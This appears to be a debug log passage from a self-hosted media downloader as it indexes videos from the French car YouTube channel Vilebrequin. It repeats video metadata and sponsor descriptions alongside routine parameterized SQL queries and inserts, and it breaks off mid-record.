media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à Rhinoshield pour leur soutien : Offres Black Friday @rhinoshieldfrance jusqu’à -55% sur tout le site jusqu’au 28/11\nlien : https://url.rhinoshield.fr/vilebrequin_blackfriday\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Moteur et Sens, et Forever Young pour le prêt de cette incongrue Aston Martin Cygnet, pour voir les modèles en stock : \nSite : https://foreveryoungtimer.com\nInstagram : https://www.instagram.com/foreveryoungtimers/\n\n\nMerci à l’autodrome de UTAC Linas Monthléry, et en particulier Nourhène, pour le prêt de leur anneau de vitesse. Pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : \n\n- Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\nMontage vidéo : \n\n- Baptiste Moal \nInstagram : https://www.instagram.com/bapt.ml/\n\n- Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#aston #cygnet #grossedouille", "duration" => 1633, "filename" => "/downloads/Vilebrequin/2023-11-23 Essai Aston Martin Cygnet : La MEILLEURE des Aston/Essai Aston Martin Cygnet : La MEILLEURE des Aston [_VF035IyZwg].mkv", "id" => "_VF035IyZwg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_VF035IyZwg", "playlist_index" => 3, "timestamp" => 1700759702, "title" => "Essai Aston Martin Cygnet : La MEILLEURE des Aston", "upload_date" => "20231123"} 07:42:28.087 [debug] QUERY OK source="sources" db=0.7ms queue=0.3ms idle=792.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:28.088 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=794.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:28.093 [debug] QUERY OK source="media_items" db=4.4ms idle=795.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-23 17:15:02Z], 1] 07:42:28.099 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=801.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Rhinoshield pour leur soutien : Offres Black Friday @rhinoshieldfrance jusqu’à -55% sur tout le site jusqu’au 28/11\nlien : https://url.rhinoshield.fr/vilebrequin_blackfriday\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Moteur et Sens, et Forever Young pour le prêt de cette incongrue Aston Martin Cygnet, pour voir les modèles en stock : \nSite : https://foreveryoungtimer.com\nInstagram : https://www.instagram.com/foreveryoungtimers/\n\n\nMerci à l’autodrome de UTAC Linas Monthléry, et en particulier Nourhène, pour le prêt de leur anneau de vitesse. Pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : \n\n- Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\nMontage vidéo : \n\n- Baptiste Moal \nInstagram : https://www.instagram.com/bapt.ml/\n\n- Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#aston #cygnet #grossedouille", "Essai Aston Martin Cygnet : La MEILLEURE des Aston", "8a881e33-b699-46b2-ae59-9c1edd3aa393", "_VF035IyZwg", 1633, false, "https://www.youtube.com/watch?v=_VF035IyZwg", 3, "/downloads/Vilebrequin/2023-11-23 Essai Aston Martin Cygnet : La MEILLEURE des Aston/Essai Aston Martin Cygnet : La MEILLEURE des Aston [_VF035IyZwg].mkv", false, false, false, 1, [], 98, ~U[2023-11-23 17:15:02Z], ~U[2026-04-20 05:42:28Z], ~U[2026-04-20 05:42:28Z], "Merci à Rhinoshield pour leur soutien : Offres Black Friday @rhinoshieldfrance jusqu’à -55% sur tout le site jusqu’au 28/11\nlien : https://url.rhinoshield.fr/vilebrequin_blackfriday\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Moteur et Sens, et Forever Young pour le prêt de cette incongrue Aston Martin Cygnet, pour voir les modèles en stock : \nSite : https://foreveryoungtimer.com\nInstagram : https://www.instagram.com/foreveryoungtimers/\n\n\nMerci à l’autodrome de UTAC Linas Monthléry, et en particulier Nourhène, pour le prêt de leur anneau de vitesse. Pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : \n\n- Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\nMontage vidéo : \n\n- Baptiste Moal \nInstagram : https://www.instagram.com/bapt.ml/\n\n- Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#aston #cygnet #grossedouille", "Essai Aston Martin Cygnet : La MEILLEURE des Aston", "_VF035IyZwg", 1633, false, "https://www.youtube.com/watch?v=_VF035IyZwg", "/downloads/Vilebrequin/2023-11-23 Essai Aston Martin Cygnet : La MEILLEURE des Aston/Essai Aston Martin Cygnet : La MEILLEURE des Aston [_VF035IyZwg].mkv", false, 1, ~U[2023-11-23 17:15:02Z]] 07:42:28.100 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=255.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:28.102 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=14.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:28.104 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=14.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 07:42:28.105 [debug] Current batch of media processed. Will check again in 1000ms 07:42:29.107 [debug] Current batch of media processed. Will check again in 1000ms 07:42:30.109 [debug] Current batch of media processed. Will check again in 1000ms 07:42:31.110 [debug] Current batch of media processed. Will check again in 1000ms 07:42:32.112 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à la Filière MSA pour le soutien. Retrouvez toutes les informations des Métiers des Services Auto ici : \n👉 https://www.metiers-services-auto.com\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#AstonMartin #Lagonda #faillite", "duration" => 2666, "filename" => "/downloads/Vilebrequin/2023-11-16 VULTECH Aston Martin : 18 faillites et toujours debout/VULTECH Aston Martin : 18 faillites et toujours debout [AVcqMUjoRFQ].mkv", "id" => "AVcqMUjoRFQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=AVcqMUjoRFQ", "playlist_index" => 4, "timestamp" => 1700154901, "title" => "VULTECH Aston Martin : 18 faillites et toujours debout", "upload_date" => "20231116"} 07:42:32.113 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1256.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:32.114 [debug] QUERY OK source="sources" db=0.5ms queue=0.3ms idle=818.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:32.122 [debug] QUERY OK source="media_items" db=7.3ms queue=0.1ms idle=819.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-16 17:15:01Z], 1] 07:42:32.128 [debug] QUERY OK source="media_items" db=3.4ms idle=828.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à la Filière MSA pour le soutien. Retrouvez toutes les informations des Métiers des Services Auto ici : \n👉 https://www.metiers-services-auto.com\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#AstonMartin #Lagonda #faillite", "VULTECH Aston Martin : 18 faillites et toujours debout", "54825023-be76-4e36-aca7-4707bbbf0b5c", "AVcqMUjoRFQ", 2666, false, "https://www.youtube.com/watch?v=AVcqMUjoRFQ", 4, "/downloads/Vilebrequin/2023-11-16 VULTECH Aston Martin : 18 faillites et toujours debout/VULTECH Aston Martin : 18 faillites et toujours debout [AVcqMUjoRFQ].mkv", false, false, false, 1, [], 98, ~U[2023-11-16 17:15:01Z], ~U[2026-04-20 05:42:32Z], ~U[2026-04-20 05:42:32Z], "Merci à la Filière MSA pour le soutien. Retrouvez toutes les informations des Métiers des Services Auto ici : \n👉 https://www.metiers-services-auto.com\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#AstonMartin #Lagonda #faillite", "VULTECH Aston Martin : 18 faillites et toujours debout", "AVcqMUjoRFQ", 2666, false, "https://www.youtube.com/watch?v=AVcqMUjoRFQ", "/downloads/Vilebrequin/2023-11-16 VULTECH Aston Martin : 18 faillites et toujours debout/VULTECH Aston Martin : 18 faillites et toujours debout [AVcqMUjoRFQ].mkv", false, 1, ~U[2023-11-16 17:15:01Z]] 07:42:32.129 [debug] QUERY OK source="sources" db=1.3ms idle=269.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:32.131 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.1ms idle=16.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:32.133 [debug] QUERY OK source="media_items" db=0.9ms idle=17.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 07:42:32.134 [debug] Current batch of media processed. Will check again in 1000ms 07:42:33.135 [debug] Current batch of media processed. Will check again in 1000ms 07:42:34.136 [debug] Current batch of media processed. Will check again in 1000ms 07:42:35.137 [debug] Current batch of media processed. Will check again in 1000ms 07:42:36.139 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci du soutien à Carly. On vous donne -15% sur Carly 👉 https://bit.ly/CARLY23_VB (valable sur le boîtier, l'application, et le Smart Mechanic)\n\n--------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci beaucoup à Charles Milesi pour le prêt de cette belle GTR ( déso pour la surprise de la drag race avec le Range ) :\nInsta : https://www.instagram.com/charles_milesi\n\nAinsi qu'à l'équipe de Dijon Auto Racing pour la piste notamment Geoffroy et Nicolas. \nInsta : https://www.instagram.com/dijonautoracing/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nProduction : Anaelle Lemagorou et Cassandra Borie \nCadreurs : Lucas Martin et Pierre Bouillot \nMontage : Baptiste Moal Insta : @bapt.ml\nTéo Floc’h Insta : @flcstudio29\nMontage Sponso : Robin Danos\nInsta : @robin_danos\nRomain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nEt merci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nGros bisous\n\n#Godzilla #GTR #Japon", "duration" => 2047, "filename" => "/downloads/Vilebrequin/2023-11-09 Essai Nissan GTR R34 : Rapide et furieuse/Essai Nissan GTR R34 : Rapide et furieuse [yUaxmvK1qyY].mkv", "id" => "yUaxmvK1qyY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yUaxmvK1qyY", "playlist_index" => 5, "timestamp" => 1699550102, "title" => "Essai Nissan GTR R34 : Rapide et furieuse", "upload_date" => "20231109"} 07:42:36.141 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=844.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:36.143 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=846.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:36.148 [debug] QUERY OK source="media_items" db=5.3ms idle=848.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-09 17:15:02Z], 1] 07:42:36.156 [debug] QUERY OK source="media_items" db=5.3ms idle=854.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci du soutien à Carly. On vous donne -15% sur Carly 👉 https://bit.ly/CARLY23_VB (valable sur le boîtier, l'application, et le Smart Mechanic)\n\n--------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci beaucoup à Charles Milesi pour le prêt de cette belle GTR ( déso pour la surprise de la drag race avec le Range ) :\nInsta : https://www.instagram.com/charles_milesi\n\nAinsi qu'à l'équipe de Dijon Auto Racing pour la piste notamment Geoffroy et Nicolas. \nInsta : https://www.instagram.com/dijonautoracing/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nProduction : Anaelle Lemagorou et Cassandra Borie \nCadreurs : Lucas Martin et Pierre Bouillot \nMontage : Baptiste Moal Insta : @bapt.ml\nTéo Floc’h Insta : @flcstudio29\nMontage Sponso : Robin Danos\nInsta : @robin_danos\nRomain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nEt merci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nGros bisous\n\n#Godzilla #GTR #Japon", "Essai Nissan GTR R34 : Rapide et furieuse", "a26af076-9d3a-4602-b2e9-4601bd664a06", "yUaxmvK1qyY", 2047, false, "https://www.youtube.com/watch?v=yUaxmvK1qyY", 5, "/downloads/Vilebrequin/2023-11-09 Essai Nissan GTR R34 : Rapide et furieuse/Essai Nissan GTR R34 : Rapide et furieuse [yUaxmvK1qyY].mkv", false, false, false, 